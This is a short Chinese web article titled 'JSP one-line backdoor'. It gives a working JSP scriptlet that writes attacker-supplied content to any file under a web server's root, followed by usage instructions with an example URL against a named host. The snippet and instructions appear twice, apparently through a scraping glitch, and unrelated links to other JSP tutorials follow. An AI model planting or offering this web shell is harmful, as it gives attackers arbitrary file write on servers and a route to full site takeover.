JSP一句話后門
更新時(shí)間：2007年02月09日 00:00:00 作者：
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出來了 內(nèi)容為 HelloWorld
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出來了 內(nèi)容為 HelloWorld
相關(guān)文章
JSP中的PreparedStatement對象操作數(shù)據(jù)庫的使用教程
這篇文章主要介紹了JSP中的PreparedStatement對象操作數(shù)據(jù)庫的使用教程,文中舉了一些使用PreparedStatement預(yù)處理語句對象進(jìn)行MySQL增刪查改的例子,需要的朋友可以參考下2016-04-04
JSP程序運(yùn)行原理、文檔結(jié)構(gòu)及簡單輸入輸出實(shí)例分析
這篇文章主要介紹了JSP程序運(yùn)行原理、文檔結(jié)構(gòu)及簡單輸入輸出,以完整實(shí)例形式較為詳細(xì)的分析了JSP程序的運(yùn)行原理、文檔結(jié)構(gòu)及簡單輸入輸出詳細(xì)技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-09-09
Jsp中解決session過期跳轉(zhuǎn)到登陸頁面并跳出iframe框架的方法
這里我們是介紹一個(gè)網(wǎng)站管理后臺三個(gè)框架頁面當(dāng)我們的jsp定義的session變量超時(shí)時(shí)用戶點(diǎn)擊時(shí)自動退出框架頁面并跳到登錄頁面去了，下面我來給大家演示一個(gè)實(shí)例2013-08-08
jsp-解決文件上傳后重啟Tomcat時(shí)文件自動刪除問題
這篇文章主要介紹了jsp-解決文件上傳后重啟Tomcat時(shí)文件自動刪除問題,包括問題分析和具體解決辦法，還是很不錯(cuò)的，需要的朋友可以參考下。2017-09-09
這篇文章主要介紹了jsp中獲取當(dāng)前目錄的方法,實(shí)例分析了JSP獲取當(dāng)前路徑的方法,并對相關(guān)目錄操作函數(shù)進(jìn)行了總結(jié)歸納,是非常實(shí)用的技巧,需要的朋友可以參考下2014-11-11
這篇文章主要介紹了Java之JSP教程九大內(nèi)置對象詳解(上篇)，本文章內(nèi)容詳細(xì)，通過案例可以更好的理解JSP內(nèi)置對象的相關(guān)知識，本模塊分為了三部分，本次為上篇，講解了三個(gè)內(nèi)容，需要的朋友可以參考下2023-01-01
java 易懂易用的MD5加密(可直接運(yùn)行)(2)
java MD5加密完全代碼2008-11-11
我認(rèn)為JSP有問題(下)...2006-10-10
jsp中session過期設(shè)置及web.xml配置學(xué)習(xí)
session的過期時(shí)間需要配置在tomcat中的web.xml中,時(shí)間以分鐘計(jì)算,另最大時(shí)間好像是24小時(shí),感興趣的朋友可以了解下，希望本文對你學(xué)習(xí)session有所幫助2013-01-01
這篇文章主要介紹了JSP應(yīng)用的安全問題2006-10-10